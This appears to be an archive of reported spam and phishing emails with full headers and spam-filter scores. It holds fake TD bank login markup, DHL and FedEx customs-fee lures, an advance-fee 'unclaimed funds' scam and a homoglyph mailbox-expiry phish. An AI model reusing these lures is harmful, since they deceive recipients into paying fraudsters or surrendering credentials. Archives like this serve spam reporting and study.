9px;" class=3D"mcnTextContent" valign=3D"top">

=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20

=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=

=20=20=20


t-size: 11px;">By

using EasyWeb, our secured financial services site, offered by TD

Canada Trust and its affiliates, you agree to the terms and services of

the 
%;

-webkit-text-size-adjust:100%" href=3D"https://authentication.td.com/uap=

-ui/index.html?consumer=3Deasyweb&locale=3Den_CA" ng-bind-html=3D"'LOGI=

N.LEGAL.PART_2' | translate" ng-click=3D"vm.openPopup('LOGIN.LEGAL.PART_2_L=

INK', 'LOGIN.LEGAL.PART_2', {width: 618, height: 618})">Financial Services =

Terms
 , 
ze-adjust:100%;

-webkit-text-size-adjust:100%" href=3D"https://authentication.td.com/uap=

-ui/index.html?consumer=3Deasyweb&locale=3Den_CA" ng-bind-html=3D"'LOGI=

N.LEGAL.PART_4' | translate" ng-click=3D"vm.openPopup('LOGIN.LEGAL.PART_4_L=

INK', 'LOGIN.LEGAL.PART_4', {width: 618, height: 618})">Cardholder and Elec=

tronic Financial Services Terms and Conditions
 and/or; the 
style=3D"mso-line-height-rule:exactly; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%" href=3D"https://authentication.td.com/uap=

-ui/index.html?consumer=3Deasyweb&locale=3Den_CA" ng-bind-html=3D"'LOGI=

N.LEGAL.PART_6' | translate" ng-click=3D"vm.openPopup('LOGIN.LEGAL.PART_6_L=

INK', 'LOGIN.LEGAL.PART_6', {width: 618, height: 618})">Business Access Ser=

vices Schedule and/or; the 
xactly; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%" href=3D"https://authentication.td.com/uap=

-ui/index.html?consumer=3Deasyweb&locale=3Den_CA" ng-bind-html=3D"'LOGI=

N.LEGAL.PART_8' | translate" ng-click=3D"vm.openPopup('LOGIN.LEGAL.PART_8_L=

INK', 'LOGIN.LEGAL.PART_8', {width: 618, height: 618})">Terms and Agreement=

 and 
adjust:100%;

-webkit-text-size-adjust:100%" href=3D"https://authentication.td.com/uap=

-ui/index.html?consumer=3Deasyweb&locale=3Den_CA" ng-bind-html=3D"'LOGI=

N.LEGAL.PART_10' | translate" ng-click=3D"vm.openPopup('LOGIN.LEGAL.PART_10=

_LINK', 'LOGIN.LEGAL.PART_10', {width: 618, height: 618})">Disclosure
&n=

bsp;for mutual funds accounts held with TD Investment Services Inc.





margin:0;

padding:0; /*@editable*/color:#202020;

/*@editable*/font-family:Helvetica;

/*@editable*/font-size:20px;

/*@editable*/font-style:normal;

/*@editable*/font-weight:bold;

/*@editable*/line-height:125%;

/*@editable*/letter-spacing:normal;

/*@editable*/text-align:left"> 

















=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20








mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; table-layout:fixed !important; min-width:=

100%;" class=3D"mcnDividerBlock" border=3D"0" cellpadding=3D"0" cellspacin=

g=3D"0" width=3D"100%">



















=20=20=20=20




:100%;

-webkit-text-size-adjust:100%; padding: 3px 18px 0px; min-width: 100%;" =

class=3D"mcnDividerBlockInner">

=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20


e:0pt;

mso-table-rspace:0pt; -ms-text-size-adjust:100%;

-webkit-text-size-adjust:100%; border-top: 2px solid rgb(238, 238, 238);=

min-width: 100%;" class=3D"mcnDividerContent" border=3D"0" cellpadding=3D"=

0" cellspacing=3D"0" width=3D"100%">

















=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20




-size-adjust:100%;

-webkit-text-size-adjust:100%">























=20=20=20=20=20=20=20=20

=20=20=20=20





DHL phish

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 26 Jan 2023 23:09:40 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.96)

(envelope-from )

id 1pLHvW-000PPf-1O

for dave@doctor.nl2k.ab.ca;

Thu, 26 Jan 2023 23:09:30 -0700

Resent-From: The Doctor

Resent-Date: Thu, 26 Jan 2023 23:09:30 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from ip62.ip-213-32-97.eu ([213.32.97.62]:52165 helo=vivaenergy.fr)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.96)

(envelope-from <2147c0e1@vivaenergy.fr>)

id 1pLHiN-000OpH-15

for doctor@doctor.nl2k.ab.ca;

Thu, 26 Jan 2023 22:55:19 -0700

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; s=mail1; d=vivaenergy.fr;

h=Date:To:From:Subject:Message-ID:List-Unsubscribe:MIME-Version:Content-Type:

Content-Transfer-Encoding;

bh=brQDHihKcexeHmMr1DrFaewKpPVGWPg5tXiUNiRPC/s=;

b=TtI3NuPZYRXJOg+CF+cBn5//4Gjavn/KQAs1kP5ZB/t3qmPOEP9c5InBIjzAS2hIaWeLbjYCX3jq

CK8IQ2DYOe4aIoduSNBj4oRAs+71JtGXvEE4wziWg5/+XPstq81SXrZZa6+BJdWV/p5L120rnBbz

potFz/C8EpmB3wMwxdOCFBsbkfsJPZcEJMea1S+1QBnLYk93rfobJ7+WyESj+FcYmO5Dd/7Vb3Sh

rbYKt0AhjllRCSR1qSFPHZL+i+B/VMkXQI7wQPTgN1ofRCFpktof06o7isSghLLRk/JorMFUxpHV

4KzrGoQw0Jrh+ZypV291OtgRnFshbRwMRhPMfg==

Date: Fri, 27 Jan 2023 04:46:12 +0000

To: doctor@doctor.nl2k.ab.ca

From: DHL Customer Service <2147c0e1@vivaenergy.fr>

Subject: IMPORTANT: Your DHL package could not be delivered!!!

Message-ID: <9f929c0a6acfcedff574a5b5c7e92e3b@vivaenergy.fr>

List-Unsubscribe: mailto:bounce988-HuuSNn6NqJO832l@vivaenergy.fr?subject=list-unsubscribe

X-Campaign-ID: 5614184

X-mailer: nlserver, Build 6.7.0

Precedence: Bulk

MIME-Version: 1.0

Content-Type: multipart/alternative;

boundary="17281c9d7fa80e555f404ed9df1533f9e"

Content-Transfer-Encoding: 8bit



This is a multi-part message in MIME format.



--17281c9d7fa80e555f404ed9df1533f9e

Content-Type: text/plain; charset=UTF-8

Content-Transfer-Encoding: 8bit





Â

























Dear customer,

Your package could not be delivered on 27-01-2023 because no customs duties were paid (2.36 €). follow the instructions.

Details of your package









































Serial number : 19836386000197















Expected delivery between : 30-01-2023 en 31-01-2023



























To confirm the shipment of a package, https://dhl.com/payment-customsduties/19836386000197

You will receive an e-mail or SMS when your package arrives at the home address. You have 8 days from the date of availability to collect the package. Identification Required on Collection.

Thank you for your trust,













Regards,DHL Customer Service.





--17281c9d7fa80e555f404ed9df1533f9e

Content-Type: text/html; charset=UTF-8

Content-Transfer-Encoding: 8bit





Â















Mailtrap














Dear customer,




Your package could not be delivered on 27-01-2023 because no customs duties were paid (2.36 €). follow the instructions.




Details of your package



















































Serial number : 19836386000197









Expected delivery between : 30-01-2023 en 31-01-2023































    • To confirm the shipment of a package, https://dhl.com/payment-customsduties/19836386000197


    • You will receive an e-mail or SMS when your package arrives at the home address. You have 8 days from the date of availability to collect the package. Identification Required on Collection.


Thank you for your trust,









--17281c9d7fa80e555f404ed9df1533f9e--



funds spam from Outlook

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 26 Jan 2023 21:50:40 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.96)

(envelope-from )

id 1pLGh1-000N0S-1l

for dave@doctor.nl2k.ab.ca;

Thu, 26 Jan 2023 21:50:27 -0700

Resent-From: The Doctor

Resent-Date: Thu, 26 Jan 2023 21:50:27 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-tyzapc01rlhn2188.outbound.protection.outlook.com ([40.95.110.188]:41537 helo=APC01-TYZ-obe.outbound.protection.outlook.com)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

(Exim 4.96)

(envelope-from )

id 1pLGUq-000Mhj-0g

for doctor@doctor.nl2k.ab.ca;

Thu, 26 Jan 2023 21:37:15 -0700

ARC-Seal: i=1; a=rsa-sha256; s=arcselector9901; d=microsoft.com; cv=none;

b=N8lzrXZ5/1kwoznq7nKsvxAC0rJBJ+gicztgZ+bvMQLLZQtq4ERkDBGNCX8QiFl4oxwoJos7vpNQh1S9sjXcAbYdg6GN36vOTGhep1uh+N0eILA9O2dp0a3BtyKmGU8E0MZspmE8jwvpCMtLDQhLT5DV7qJQrRuZNwpJ0oBfxcpLr9xg2tgEGDMFiEHPYZQbwqIRYo6n2bFMQDy/2o7W9ZkGtKGnvMgs1hn5G0e82Lxom2ypEKnGAEk0BMJBVbiLgFSb9RnxFUxdOnyqkZHLvuRuYEJGlebXG5xsSe3v1PiayfuywJh4Vr7MoAgHqGQ2F62aCul2rlCZow7P56WuTQ==

ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;

s=arcselector9901;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;

bh=In7TGh4VyXtj9MpkJogzscW5OMwO3WPZa78VABUvg90=;

b=ebfbv2yoLeNAuu1SAuU/Hmy0W5uMBctvijgWL7rdkjS8D4ZaNpj4bci1sh0jehP5YWhoYxnCB5wON7BwoxJ8BiP5zTWr0lwslF8eqhyEG9eOrASqQAmRJ7MHwfMpA6+eE7R7ZE3U9jdIfTQ1o5/L3CUGZiGH/syoBqs8CIOuSqumieKEnLTp7gp7YtHRVb5AFTEK9Y0KqQTYAGTUDv1uBW2XYnQWA7YnzZWLwHCBFdktnvzeIjHaQtku2EgBWo6u5ZmU6ohXvHGHYWrvjPuJi/WZgLD8A514eklvE7+bKcs8u06i6uXeCDdnslagm4C74FzB+QUW3cdjdYaehD2yew==

ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=permerror (sender ip

is 114.6.82.34) smtp.rcpttodomain=adelphia.net smtp.mailfrom=epix.net;

dmarc=none action=none header.from=epix.net; dkim=none (message not signed);

arc=none

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=toyotaastra.onmicrosoft.com; s=selector2-toyotaastra-onmicrosoft-com;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;

bh=In7TGh4VyXtj9MpkJogzscW5OMwO3WPZa78VABUvg90=;

b=eU4b4KbYzKTBRBhL59r7Vuh+sNqcshwNYUpjDf6e95ExSiFOXd4R6u6Wcrte7i0LFUne+xQGD+8kUtCcz0hSrevCVa36at4JkYyPGS3WUeMIuey6qsmTWmuo3GrQTfazzfZFahJ9daDx+tRfOLAPra6BuO8OhYFx9aWUWT+qhzc=

Received: from TYCPR01CA0063.jpnprd01.prod.outlook.com (2603:1096:405:2::27)

by SG2PR02MB5796.apcprd02.prod.outlook.com (2603:1096:4:1b7::5) with

Microsoft SMTP Server (version=TLS1_2,

cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.20.6043.21; Fri, 27 Jan

2023 04:35:03 +0000

Received: from TYZAPC01FT053.eop-APC01.prod.protection.outlook.com

(2603:1096:405:2:cafe::14) by TYCPR01CA0063.outlook.office365.com

(2603:1096:405:2::27) with Microsoft SMTP Server (version=TLS1_2,

cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.20.6043.23 via Frontend

Transport; Fri, 27 Jan 2023 04:35:02 +0000

X-MS-Exchange-Authentication-Results: spf=permerror (sender IP is 114.6.82.34)

smtp.mailfrom=epix.net; dkim=none (message not signed)

header.d=none;dmarc=none action=none header.from=epix.net;

Received-SPF: PermError (protection.outlook.com: domain of epix.net used an

invalid SPF mechanism)

Received: from toyota.astra.co.id (114.6.82.34) by

TYZAPC01FT053.mail.protection.outlook.com (10.118.152.149) with Microsoft

SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384) id

15.20.6043.21 via Frontend Transport; Fri, 27 Jan 2023 04:35:00 +0000

Received: from User (10.85.28.198) by VSV-C003-002100.toyota.astra.co.id

(10.85.11.214) with Microsoft SMTP Server id 15.0.1497.28; Fri, 27 Jan 2023

11:34:29 +0700

Reply-To:

From: David Eddie Baggett

Subject: You have an outstanding refund:Your Unclaime Funds!!!

Date: Thu, 26 Jan 2023 20:34:52 -0800

MIME-Version: 1.0

Content-Type: text/html; charset="utf-8"

Content-Transfer-Encoding: quoted-printable

X-Priority: 3

X-MSMail-Priority: Normal

X-Mailer: Microsoft Outlook Express 6.00.2600.0000

X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

Message-ID: <73031aeca2b644beb8934f72a4353755@VSV-C003-002100.toyota.astra.co.id>

To: Undisclosed recipients:;

X-EOPAttributedMessage: 0

X-MS-PublicTrafficType: Email

X-MS-TrafficTypeDiagnostic: TYZAPC01FT053:EE_|SG2PR02MB5796:EE_

X-MS-Office365-Filtering-Correlation-Id: 464d4f31-47b0-4803-99e8-08db001fda68

X-MS-Exchange-SenderADCheck: 2

X-MS-Exchange-AntiSpam-Relay: 1

X-Microsoft-Antispam: BCL:0;

X-Microsoft-Antispam-Message-Info:

=?windows-1251?Q?9gSBQhC3QenlA+eq3e8ge5wTbsn/XqT7mfz0E8ay+ofBucxzeIH08ZhJ?=

=?windows-1251?Q?6dewRyET3p9MMUjEJs4fQQAWE6y2+5VjZL6zWp84zEFKZ24ouI8m5xPj?=

=?windows-1251?Q?VBmANyryTT9BP18yFjDTHAZgDAY0MiqjcN3yoxymuNRJVz+AFB1y9DhJ?=

=?windows-1251?Q?WZMur5pB8wgYwaH+WT5oJ1+vHf54MhtmE/d/xErR3PU8TZoF6RWrziHE?=

=?windows-1251?Q?0QzQgtLDaonCkTSNa5LYw+6+7h3g99C7sHnRIHXaIyqz/ke3mp3ffPl4?=

=?windows-1251?Q?/BjhQJqx1LE12K8DiJVuAs+iT7Jeat6xkqL52w311Gir9xe0P9Z2J+EC?=

=?windows-1251?Q?umxIeVFzNdOzWE8e/cTzjIm+0BfL+ydPa8wfboxX9gibIlCK46bFBxM0?=

=?windows-1251?Q?pSAF/d2AHnx8T4i9DjFOrwrQzVqr5bmMB3k6wy8PMFotBURyRktIOLgI?=

=?windows-1251?Q?KwspluX0ZUyrY59jw6RCD1GhdbLhM/sGYnLTp3zOp/13DE9FvZ8t+qcz?=

=?windows-1251?Q?lsmnUvOFWb21R1N1ie4/RwDycaKUtXj2sK8jqcSYKkE2nfVJiJTY4LnB?=

=?windows-1251?Q?wJdC24kfrWTSgp+xGpegY7oS0r1lrhD9QtKPQKIn8bhljlZCa9HNiZjS?=

=?windows-1251?Q?R7VgNfF/8aUw0a6pRNM9OBaHGEJ3eLnzFSZIjuwjJYORa44UIzj5Q0Eu?=

=?windows-1251?Q?NQbHCjphAiyAWIuENh7y0NmJxBcsZ7+OkXUdyD9XnHxZWrlNmgfNxdFw?=

=?windows-1251?Q?6uc2yE1KofRIt2AOdq0aH0LKgf/c41aU70lZfD5xp+MZ8FFec9LLrbcC?=

=?windows-1251?Q?hrZi4VCjA57h9PH/ZfsnCrTDm85/Mdetk+/N/Jr4QOKWBg9m1cRtsSNT?=

=?windows-1251?Q?vupX4kjfza3rw32+Zsh0xJ73qAGmD1uToBp+RzigiVFOgxWB6fOsa0vP?=

=?windows-1251?Q?VZnZ06zeDiXvZecPB/JlieTDwHyPsoeakAGwwjB3babeLTDPziJb7HaT?=

=?windows-1251?Q?J/0cLwmeUvW27SNX3aGNF3nxsq2idONAONND8TRRAI3VgT9edfQMQwVF?=

=?windows-1251?Q?xw/0GmmU4HAy70m9X4c0eV7EyUTr6Tc6c5BK9/4GHiAdTzEq7p0BZczF?=

=?windows-1251?Q?H3vfZPgn063kSvNZ97+yAYoja/qQH0KJXvSYUeNLX17pEvfXibU7K+ox?=

=?windows-1251?Q?hg9tRo3oICWV7a/bSomAThUz+tMIEE8j2vKDZTlaUFFq6BEQmqEF1sJI?=

=?windows-1251?Q?+Ei6BEwrKXvkax4j2TQ=3D?=

X-Forefront-Antispam-Report:

CIP:114.6.82.34;CTRY:ID;LANG:en;SCL:5;SRV:;IPV:CAL;SFV:SPM;H:toyota.astra.co.id;PTR:114-6-82-34.resources.indosat.com;CAT:OSPM;SFS:(13230025)(4636009)(39860400002)(396003)(136003)(376002)(346002)(451199018)(109986016)(40470700004)(356005)(32650700002)(26005)(9686003)(6666004)(2860700004)(316002)(40480700001)(86362001)(966005)(83380400001)(35950700001)(82310400005)(8676002)(498600001)(336012)(40460700003)(24736004)(108616005)(70206006)(5660300002)(70586007)(82740400003)(2906002)(8936002)(41300700001)(81166007)(7366002)(7416002)(7406005)(4001630100005);DIR:OUT;SFP:1023;

X-OriginatorOrg: toyota.astra.co.id

X-MS-Exchange-CrossTenant-OriginalArrivalTime: 27 Jan 2023 04:35:00.9613

(UTC)

X-MS-Exchange-CrossTenant-Network-Message-Id: 464d4f31-47b0-4803-99e8-08db001fda68

X-MS-Exchange-CrossTenant-Id: 52d4e358-2ecb-48e2-bad4-d3c62441ff17

X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=52d4e358-2ecb-48e2-bad4-d3c62441ff17;Ip=[114.6.82.34];Helo=[toyota.astra.co.id]

X-MS-Exchange-CrossTenant-AuthSource:

TYZAPC01FT053.eop-APC01.prod.protection.outlook.com

X-MS-Exchange-CrossTenant-AuthAs: Anonymous

X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem

X-MS-Exchange-Transport-CrossTenantHeadersStamped: SG2PR02MB5796

X-Spam_score: 19.8

X-Spam_score_int: 198

X-Spam_bar: +++++++++++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: âš [IMPORTANT CAUTION!]: This is e-mail from outside. Please

verify e-mail sender and subject carefully, Do not open unknown links, attachments

or non-related with your business e-mail and report sus [...]



Content analysis details: (19.8 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[40.95.110.188 listed in bl.score.senderscore.com]

1.3 RCVD_IN_VALIDITY_RPBL RBL: Relay in Validity RPBL,

https://senderscore.org/blocklistlookup/

[40.95.110.188 listed in bl.score.senderscore.com]

0.0 SPF_HELO_FAIL SPF: HELO does not match SPF record (fail)

[SPF failed: Please see http://www.openspf.org/Why?s=helo;id=APC01-TYZ-obe.outbound.protection.outlook.com;ip=40.95.110.188;r=doctor.nl2k.ab.ca]

0.0 T_SPF_PERMERROR SPF: test of record failed (permerror)

0.0 NSL_RCVD_FROM_USER Received from User

0.0 AXB_X_FF_SEZ_S Forefront sez this is spam

0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider

[ldk(at)epix.net]

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 HTML_MESSAGE BODY: HTML included in message

1.0 FREEMAIL_REPLYTO Reply-To/From or Reply-To/body contain different

freemails

0.0 AXB_XMAILER_MIMEOLE_OL_024C2 Yet another X header trait

0.6 FSL_NEW_HELO_USER Spam's using Helo and User

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

0.0 FORGED_OUTLOOK_HTML Outlook can't send HTML message only

2.0 PDS_HELO_SPF_FAIL High profile HELO that fails SPF

0.0 KHOP_HELO_FCRDNS Relay HELO differs from its IP's reverse DNS

2.8 UNDISC_FREEM Undisclosed recipients + freemail reply-to

2.8 FORGED_MUA_OUTLOOK Forged mail pretending to be from MS Outlook

0.0 SPOOFED_FREEMAIL No description available.

1.0 SPOOFED_FREEM_REPTO Forged freemail sender with freemail reply-to

3.2 UNDISC_MONEY Undisclosed recipients + money/fraud signs

2.7 ADVANCE_FEE_4_NEW Appears to be advance fee fraud (Nigerian 419)

Subject: {SPAM?} You have an outstanding refund:Your Unclaime Funds!!!














" bottommargin=3D"5">


n" style=3D"max-width: 800px; width: 100%; border:#FF0000 1px solid;">














font-size: 14px; font-family: 'Segoe UI', Arial, Helvetica, sans-serif;;pad=

ding:5px;">

=E2=9A=A0



; font-family: 'Segoe UI', Arial, Helvetica, sans-serif;padding:10px;">

[IMPORTANT CAUTION!]: This is e-mail from outside. Please =

verify e-mail sender and subject carefully, Do not open unknown links, atta=

chments or non-related with your business e-mail and report suspicious e-ma=

il to

it.helpdesk@toyota.astra.co.id




Your Unclaime Funds!!!


 


 


 


I am an auditor in a European bank and clearing house.


 


Our duty is to look into transaction records of Banks, securities comp=

anies and financial houses within Europe.


 


We also work in collaboration with America, Asia, Africa and Australia=

n clearing houses. During my investigation on un-paid debts in various bank=

s and security companies, I discovered that you are to be paid for an INHER=

ITED /CONTRACT FUND which requires

presentation of certain documents and payment of fees before the fund coul=

d be released to you


 


View the website for more information: http://news.bbc.co.uk/1/hi/busi=

ness/5171222.stm


 


I want to inform you that the problem you are having is from your agen=

t/partners and the lawyer who is representing you, they did not revealed th=

e reason for delay of your payment, and My reason of contacting you is to i=

nform you to stop payment of any

such to the lawyer or to the financial house, as you will not receive your=

fund due to some anomalies we discovered in your file.


 


We are to protect your interest, please contact me immediately so we c=

an advice you on how you will receive your fund without any impediment.
v>

 


You are hereby advised to maintain constant contact with me and avoid =

any interaction with those unscrupulous representatives.


 


Yours faithfully.


David Eddie Baggett


 


+44 703 5911223




------------------------------------------------=

---------------------------------------------------------------------------=

-------------




This e-mail and any attachment may contain confidential or legally privileg=

ed information for use of PT. Toyota-Astra Motor (TAM) only. If you are not=

the intended recipient, you are not authorized to copy or disclose all or =

any part of it without the prior

written consent of the company.





Each e-mail that is sent to internal or external organizations are logged a=

nd can be used as evidence in case of rule violation.


---------------------------------------------------------------------------=

-------------------------------------------------------------









fedex Phish from Welcomewebsite.com

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Wed, 25 Jan 2023 16:26:35 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.96)

(envelope-from )

id 1pKp9D-000GBt-2r

for dave@doctor.nl2k.ab.ca;

Wed, 25 Jan 2023 16:25:43 -0700

Resent-From: The Doctor

Resent-Date: Wed, 25 Jan 2023 16:25:43 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from [108.179.236.193] (port=45778 helo=108-179-236-193.unifiedlayer.com)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

(Exim 4.96)

(envelope-from )

id 1pKohu-000Csc-0u

for www@nl2k.ab.ca;

Wed, 25 Jan 2023 15:56:52 -0700

DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=sitvr.host;

s=default; h=Content-Transfer-Encoding:Content-Type:MIME-Version:Message-ID:

From:Date:Subject:To:Sender:Reply-To:Cc:Content-ID:Content-Description:

Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:

In-Reply-To:References:List-Id:List-Help:List-Unsubscribe:List-Subscribe:

List-Post:List-Owner:List-Archive;

bh=GVCXYUU+Pg06ABnaE3mBkoV+j4xcnjx8zoNeajhb73Q=; b=e9iUZGF+rmJVFc5G1tdchT+IrI

I5nRIhF6w1JVsfgh+/uMxWnzbiiXeu96H3dwxw89b1nzNx41+8pUUjzDZa7u1rSb2SjIIZBNOiOOS

qe/vOsixo1quQlawFW2lRWlrneVK8pJRehr40QpxjdIGZ6xfXKKPVVuw/LfcrKmQWUhiORwsSoWcK

0oiyWZ1NCuBXuxhb2zBfzj1TQsbTTzBdMeVxCzgpoAla4y2sfqRL4Rvi3KzjwekAIq93guFeYrbcE

Xc6FE7/BQeVQfxqGnjreBUAAmSc7F1KmE0t194j/ujwXy4flBgzEbfQrfud7EKsLQjbVynSNpepgW

7aaNe8Ag==;

Received: from sitvr by sit.sitvr.host with local (Exim 4.94.2)

(envelope-from )

id 1pKoen-0006tX-Qq

for www@nl2k.ab.ca; Wed, 25 Jan 2023 22:54:17 +0000

To: www@nl2k.ab.ca

Subject: Action Required: Your package is on hold

X-PHP-Script: sitvr.host/zok.php for 199.167.107.74

X-PHP-Originating-Script: 1001:zok.php

Date: Wed, 25 Jan 2023 22:54:17 +0000

From: =?UTF-8?Q?FedEx=C2=AE_Express?=

Message-ID:

MIME-Version: 1.0

Content-Type: multipart/alternative;

boundary="b1_d8758d8d2b8913a8d26e9bd2e68a8fdc"

Content-Transfer-Encoding: 8bit

X-AntiAbuse: This header was added to track abuse, please include it with any abuse report

X-AntiAbuse: Primary Hostname - sit.sitvr.host

X-AntiAbuse: Original Domain - nl2k.ab.ca

X-AntiAbuse: Originator/Caller UID/GID - [1001 994] / [47 12]

X-AntiAbuse: Sender Address Domain - sitvr.host

X-Get-Message-Sender-Via: sit.sitvr.host: authenticated_id: sitvr/from_h

X-Authenticated-Sender: sit.sitvr.host: www@sitvr.host

X-Source:

X-Source-Args: php-fpm: pool sitvr_host

X-Source-Dir: sitvr.host:/public_html

X-Spam_score: 8.5

X-Spam_score_int: 85

X-Spam_bar: ++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Dear Valued Customer, We hope this email finds you well. We

wanted to inform you that your pending shipment with tracking number 77298O724289

has outstanding charges due including Duty & Tax. Please note that this fee

is for delivery only and does not include any additional services such as

insurance or signature confirmation.



Content analysis details: (8.5 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

2.5 URIBL_DBL_SPAM Contains a spam URL listed in the DBL blocklist

[URI: abre.ai]

-0.0 SPF_PASS SPF: sender matches SPF record

1.5 CK_HELO_DYNAMIC_SPLIT_IP Relay HELO'd using suspicious hostname

(Split IP)

0.7 HTML_IMAGE_ONLY_28 BODY: HTML: images with 2400-2800 bytes of words

0.0 HTML_MESSAGE BODY: HTML included in message

1.3 RDNS_NONE Delivered to internal network by a host with no rDNS

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

2.5 PHP_SCRIPT Sent by PHP script

Subject: {SPAM?} Action Required: Your package is on hold



This is a multi-part message in MIME format.



--b1_d8758d8d2b8913a8d26e9bd2e68a8fdc

Content-Type: text/plain; charset=UTF-8

Content-Transfer-Encoding: 8bit



















Dear Valued Customer,



We hope this email finds you well. We wanted to inform you that your pending shipment with tracking number 77298O724289 has outstanding charges due including Duty & Tax.



Please note that this fee is for delivery only and does not include any additional services such as insurance or signature confirmation.



To pay, view the calculation and download the relevant documents:









TRACK PACKAGE









Â



We apologize for any inconvenience this may cause and appreciate your understanding.



Â



Best regards,



Customer Service Team







--b1_d8758d8d2b8913a8d26e9bd2e68a8fdc

Content-Type: text/html; charset=UTF-8

Content-Transfer-Encoding: 8bit




















Dear Valued Customer,





We hope this email finds you well. We wanted to inform you that your pending shipment with tracking number 77298O724289 has outstanding charges due including Duty & Tax.





Please note that this fee is for delivery only and does not include any additional services such as insurance or signature confirmation.





To pay, view the calculation and download the relevant documents:

















TRACK PACKAGE




Â





We apologize for any inconvenience this may cause and appreciate your understanding.





Â





Best regards,





Customer Service Team













--b1_d8758d8d2b8913a8d26e9bd2e68a8fdc--



e-mail phish from Turkey

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Mon, 23 Jan 2023 18:06:01 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.96)

(envelope-from )

id 1pK7jd-0002zx-2T

for dave@doctor.nl2k.ab.ca;

Mon, 23 Jan 2023 18:04:25 -0700

Resent-From: The Doctor

Resent-Date: Mon, 23 Jan 2023 18:04:25 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from [194.31.59.165] (port=46086 helo=safealock.com)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

(Exim 4.96)

(envelope-from )

id 1pK3L8-000JP2-31

for doctor@nl2k.ab.ca;

Mon, 23 Jan 2023 13:22:54 -0700

Received: from vashielectricals.com (ec2-3-144-19-116.us-east-2.compute.amazonaws.com [3.144.19.116])

by safealock.com (Postfix) with ESMTPSA id 61E0B5E740F

for ; Mon, 23 Jan 2023 22:57:38 +0300 (+03)

Authentication-Results: safealock.com;

spf=pass (sender IP is 3.144.19.116) smtp.mailfrom=operation@vashielectricals.com smtp.helo=vashielectricals.com

Received-SPF: pass (safealock.com: connection is authenticated)

From: "Admin"

To: doctor@nl2k.ab.ca

Subject: doctor : Unusual Activities in Your MailBox

Date: 23 Jan 2023 19:57:39 +0000

Message-ID: <20230123195739.C9C5561FAEBF70A6@vashielectricals.com>

MIME-Version: 1.0

Content-Type: text/html;

charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable

X-Spam_score: 7.1

X-Spam_score_int: 71

X-Spam_bar: +++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Unusual Activities in Your MailBox Dear doctor Your E-ⅿаᎥⅼ

αссоυnt will expire on January 23rd, 2023 If you want to continue using

your e-ⅿаᎥⅼ address doctor@nl2k.ab.ca you will need to verify immediately

for free to prevent permanent termination.



